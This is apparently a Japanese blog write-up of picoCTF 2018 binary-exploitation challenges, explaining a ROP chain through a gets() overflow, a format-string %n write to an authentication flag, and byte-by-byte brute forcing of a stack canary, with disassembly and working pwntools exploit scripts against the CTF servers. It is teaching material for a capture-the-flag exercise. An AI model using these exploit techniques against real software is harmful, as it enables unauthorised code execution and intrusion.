[参考writeup](https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#rop-chain)

**方針**
ropというのは[Return-Oriented Programming](https://en.wikipedia.org/wiki/Return-oriented_programming)のことです。
バッファーオーバーフローでRETURNアドレスを書き換えますが、それだけではなく、複雑な関数コールを設計します。

ソース(rop.c)を読むと、フラグを表示するまでに win_function1()→win_function2()→flag() の順で呼ぶ必要があります。

バッファーオーバーフローを仕掛けられる場所は vuln() の中のgets()のみです。
ここでバッファーオーバーフローさせ、win_function1()→win_function2()→flag() の順で呼ぶようスタックフレームを作り上げます。

**writeup**

いままで見てきたようにスタックフレームは、戻りアドレス、引数(右から左へ)と積む構成になっています。(呼び出し規約がcdeclの場合)

vuln()のgets()への引数を確認します。

```shell:
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x08048714 <+0>:	push   ebp
   0x08048715 <+1>:	mov    ebp,esp
   0x08048717 <+3>:	sub    esp,0x18
   0x0804871a <+6>:	sub    esp,0xc
   0x0804871d <+9>:	push   0x804896f
   0x08048722 <+14>:	call   0x8048420 <printf@plt>
   0x08048727 <+19>:	add    esp,0x10
   0x0804872a <+22>:	sub    esp,0xc
   0x0804872d <+25>:	lea    eax,[ebp-0x18] ; ・・・ ★
   0x08048730 <+28>:	push   eax
   0x08048731 <+29>:	call   0x8048430 <gets@plt>
   0x08048736 <+34>:	add    esp,0x10
   0x08048739 <+37>:	leave  
   0x0804873a <+38>:	ret    
End of assembler dump.
```

★のところが引数になります。図示すると以下になります。

![スクリーンショット 2018-11-11 6.54.07.png](https://qiita-image-store.s3.amazonaws.com/0/272771/40cc481a-8206-3efb-7e6c-c286a2fa1b34.png)

これをバッファーオーバーフローさせ、下図のようにスタックフレームを構成します。

![スクリーンショット 2018-11-11 6.54.44.png](https://qiita-image-store.s3.amazonaws.com/0/272771/2792f2dc-c289-44e6-09b5-def941481bec.png)

これを実現するため、サーバにログインし、以下を実行するとフラグが得られます。

```shell:
$ python -c "from pwn import *; print 'A'*28+p32(0x080485cb)+p32(0x080485d8)+p32(0x0804862b)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)"|./rop           
Enter your input> picoCTF{XXX}
Segmentation fault (core dumped)
```

ではこのスタックフレームでどうやって動くのかをひとつひとつ解説していきます。

vuln()の中でバッファーオーバーフローさせ、関数を抜けるところからです。
アセンブラを見ると関数を抜けるところは、leave; ret; ですね。

![スクリーンショット 2018-11-11 6.58.25.png](https://qiita-image-store.s3.amazonaws.com/0/272771/15bbe05a-1b71-0a76-7e30-fb3224eb521b.png)

![スクリーンショット 2018-11-11 7.00.26.png](https://qiita-image-store.s3.amazonaws.com/0/272771/7d5a5fd9-a018-e6f5-98d1-f5f0e47a3cc5.png)

これで win_function1()が実行されました。
アセンブラは以下になります。

```shell:
gdb-peda$ disassemble win_function1
Dump of assembler code for function win_function1:
   0x080485cb <+0>:	push   ebp
   0x080485cc <+1>:	mov    ebp,esp
   0x080485ce <+3>:	mov    BYTE PTR ds:0x804a041,0x1
   0x080485d5 <+10>:	nop
   0x080485d6 <+11>:	pop    ebp
   0x080485d7 <+12>:	ret    
End of assembler dump.
```

![スクリーンショット 2018-11-11 7.03.50.png](https://qiita-image-store.s3.amazonaws.com/0/272771/63682b81-4f66-8720-db4e-7bb7fe23f90a.png)

win_function2()が呼び出されました。
アセンブラは以下です。引数へのアクセスと関数から抜けるところを確認します。

```shell:
gdb-peda$ disassemble win_function2
Dump of assembler code for function win_function2:
   0x080485d8 <+0>:	push   ebp
   0x080485d9 <+1>:	mov    ebp,esp
　　　　　　略
   0x080485e9 <+17>:	cmp    DWORD PTR [ebp+0x8],0xbaaaaaad
　　　　　　略
   0x08048629 <+81>:	leave  
   0x0804862a <+82>:	ret    
End of assembler dump.
```

![スクリーンショット 2018-11-11 7.07.08.png](https://qiita-image-store.s3.amazonaws.com/0/272771/6dc7cc4b-b0af-981d-5f06-09043b8c64dd.png)

確かに引数は狙い通りの値(0xbaaaaaad)となっています。

関数を抜けるところは下図です。

![スクリーンショット 2018-11-11 7.08.48.png](https://qiita-image-store.s3.amazonaws.com/0/272771/60952491-671d-c80b-91b1-12cea076ed8d.png)

![スクリーンショット 2018-11-11 7.09.24.png](https://qiita-image-store.s3.amazonaws.com/0/272771/9b4e1e6f-83ce-47e7-ac14-93bd87512819.png)

flag()が呼び出されました。
アセンブラは以下です。

```shell:
gdb-peda$ disassemble flag
Dump of assembler code for function flag:
   0x0804862b <+0>:	push   ebp
   0x0804862c <+1>:	mov    ebp,esp
　　　　　　略
   0x08048693 <+104>:	cmp    DWORD PTR [ebp+0x8],0xdeadbaad
　　　　　　略
   0x08048712 <+231>:	leave  
   0x08048713 <+232>:	ret    
End of assembler dump.

```

同様に引数へのアクセスと、関数から抜けるところを図示します。

![スクリーンショット 2018-11-11 7.14.21.png](https://qiita-image-store.s3.amazonaws.com/0/272771/dc5aecbd-de96-40f1-829a-036d12cd45a3.png)

確かに引数は狙い通りの 0xdeadbaad にアクセスしています。
flag()からの戻りアドレスはwin_function2()の引数に設定した値になっています。なのでflag()から抜けるとフォルトするはずです(実際フォルトしてコアダンプしてます)。

![スクリーンショット 2018-11-11 7.19.13.png](https://qiita-image-store.s3.amazonaws.com/0/272771/b2e9299a-efc3-26d9-d4e0-41baaf877179.png)

![スクリーンショット 2018-11-11 7.19.24.png](https://qiita-image-store.s3.amazonaws.com/0/272771/925e4595-f408-7d21-467e-fa10cde646a6.png)

戻りアドレス、引数の積み方をみるとropはどんな関数でも、どんな順序でも呼べるわけではないですね。。

### authenticate - Points: 350 Binary Exploitation
**Solve**
Can you authenticate to this service and get the flag? Connect with nc 2018shell1.picoctf.com 52398. Source.

**Hints**
What happens if you say something OTHER than yes or no?

**方針**

```c:auth.c

int authenticated = 0; // ・・・(1)

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  fgets(flag, sizeof(flag), file);
  printf("%s", flag); // ・・・(2)
  return 0;
}

void read_flag() {
  if (!authenticated) { // ・・・(3)
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    flag(); // ・・・(4)
  }
}

int main(int argc, char **argv) {

  char buf[64];
  
  printf("Would you like to read the flag? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin); // ・・・(5)
  
  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) { // ・・・(6)
    puts("Received Unknown Input:\n");
    printf(buf); // ・・・ (7)
  }
  
  read_flag(); // ・・・(8)

}
```

フラグが表示される道筋は、(8)→(3)→(4)→(2)です。
外部変数の authenticated (1)の値が0以外とならなければ(4)に到達できません。
authenticatedにどうにかして値を書き込まなければいけませんが、外部変数なのでスタックではなくヒープに位置しており、バッファーオーバーフローでスタックを書き換える手も使えません。

しかし(7)で脆弱なprintf(buf)があります。これを使って外部変数を書き換えられるでしょうか。。

**writeup**

[ここ](https://github.com/sefi-roee/CTFs-Writeups/blob/master/picoCTF-2018/Binary/08-authenticate-350/solution.md)を参考にしてwriteupを書きます。

脆弱なprintf(buf)に対し、「フォーマット文字列攻撃」を行います([解説](https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c906.html))。

フォーマット文字列攻撃に必要なのは以下のステップです。
A) authenticatedのアドレスを取得する
B) スタックに積む
C) スタックに積んだauthenticatedのアドレスが指す先に対して０以外の値を書き込む

まず A) authenticatedのアドレスですが、idaで read_flag() を調べます。
![スクリーンショット 2018-11-04 6.29.23.png](https://qiita-image-store.s3.amazonaws.com/0/272771/bc9403f5-0936-91ba-243e-4d4c9bfaa990.png)

```
mov     eax, ds:authenticated
```

とあるので、ds:authenticatedをダブルクリックします。

![スクリーンショット 2018-11-04 6.29.54.png](https://qiita-image-store.s3.amazonaws.com/0/272771/b65b1dff-a356-17e1-008b-e1f8d122dbe7.png)

authenticatedのアドレスは、0x0804A04Cであることがわかりました。

次にB) スタックに積むことを考えます。

```shell:
$ echo "AAAA 1=%x 2=%x 3=%x 4=%x 5=%x 6=%x 7=%x 8=%x 9=%x 10=%x 11=%x 12=%x 13=%x 14=%x"|./auth
Would you like to read the flag? (yes/no)
Received Unknown Input:

AAAA 1=80489a6 2=f7f1a5a0 3=804875a 4=f7f5e000 5=f7f5e918 6=ff92f820 7=ff92f914 8=0 9=ff92f8b4 10=3e8 11=41414141 1Sorry, you are not *authenticated*!
```

printf("AAAA 1=%x 2=%x 3=%x 4=%x 5=%x 6=%x 7=%x 8=%x 9=%x 10=%x 11=%x 12=%x 13=%x 14=%x");
とすると、引数を積んでいなくてもスタックを走査し、積まれている値を書き出してくれます。
先頭に書いた"AAAA" 4Byteは11番目の引数になっていることがわかりました。
つまり、"AAAA"(4Byte) をauthenticatedのアドレス(4Byte)に置き換えればスタックに積まれるということになります。そしてその位置はprintfの11番目の引数の位置ですね。

最後の C) ですが、これがフォーマット文字列攻撃の %n を使用します。

printf("aaa%n", &authenticated);
とすれば、authenticatedは3と、%nが出る直前までに出力された文字列のバイト数が入ります。

よって、11番目の引数に対して値が入るようにすればよいので、B)と組み合わせ
```
printf("<&authenticated>%11$n")
```
とします。(%11$n は、11$が１１番目の引数を表し、%nは直前までに出力されたバイト数を書き出すと読みます。)

最後に攻撃コードです。

```python:mypwn.py
from pwn import *

user = "<ユーザID>"
pw = "<パスワード>"

p = remote('2018shell1.picoctf.com', 52398)
print p.recvuntil('Would you like to read the flag? (yes/no)')
payload = p32(0x804a04c) + '%11$n'
p.sendline(payload)
print p.recvall()
```

ターミナルから

```
$ python mypwn.py
```

でフラグが得られます。

### buffer overflow 3 - Points: 450 Binary Exploitation

**Solve**
It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag? You can find it in /problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e. Source(vuln.c).

**Hints**
Maybe there's a smart way to brute-force the canary?

```c:vuln.c
#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");

  fgets(buf,FLAGSIZE,f);
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE); //・・・(1)
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count); //・・・(2)

   if (memcmp(canary,global_canary,CANARY_SIZE)) { //・・・(3)
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1); //・・・(4)
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  read_canary();
  vuln();
  return 0;
}
```

[参照writeup](https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#buffer-overflow-3)

**方針**
win()を呼び出せればflagが表示されます。そのためには(2)でバッファーオーバーフローさせる入力でvuln()の戻りアドレスをwin()のアドレスとすればよいです。

今回違うのはcanary(カナリア)がバッファーオーバーフローを検知・防いでいるところです。
カナリアを汚さずに戻りアドレスを書き換える必要があります。

攻撃は２段階、
1) カナリアの値を知る
2) カナリアを正しい値で上書きしつつ、win()のアドレスを書き込む
です。

カナリアの説明は以下参照のこと。
[IPA セキュアコーディングC/C++編](https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c905.html)
[wikipedia stack buffer overflow#canaries](https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries)

**writeup**

vuln()のバッファーオーバーフローを狙うときのスタック構成は下図です。

![スクリーンショット 2018-11-11 11.40.41.png](https://qiita-image-store.s3.amazonaws.com/0/272771/8ce0f457-6786-2a0b-f4ce-5995df481a79.png)

canary[]は4Byteなので総当たりでやることも可能ですが、もうちょっとスマートにやります。
方法は、１Byteづつ検査することです。
bufは32Byte、直後にcanaryなので、buf先頭から33Byte目に書き込んだ値はcanary[0]になります。
canary[0]は1Byte(=0〜255)なので256種類を試せばいつか合致する値を見つけられます。
正しいcanary[0]の値が見つかったので次はcanary[1]だけまた0〜255まで試す。。と言うことを続ければ正しいcanaryが現実的な時間で見つかります。(といっても３０分程度かかりました)

```python:mypwn.py

user='ユーザー名'
pw='パスワード'

sh = ssh(host = '2018shell1.picoctf.com', user=user, password=pw)
sh.set_working_directory('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e')

winAddr = 0x080486eb

canary = ''
for i in range(1, 5):
  for e in range(256):
    p = sh.process('./vuln')
    p.sendlineafter('> ', str(32+i))
    p.sendafter('> ', 'a'*32+canary+chr(e))
    output = p.recvall()
    if 'Stack' not in output:
      print output
      canary += chr(e)
      break
print 'canary is ' + canary

# canary = 'abcd'

p = sh.process('./vuln')
p.sendlineafter('> ', str(200))
p.sendlineafter('> ', 'a'*32+canary+'a'*16+p32(winAddr))
p.interactive()
```

## echo back - Points: 500 Binary Exploitation

## are you root? - Points: 550 Binary Exploitation

## gps - Points: 550 Binary Exploitation

## can-you-gets-me - Points: 650 Binary Exploitation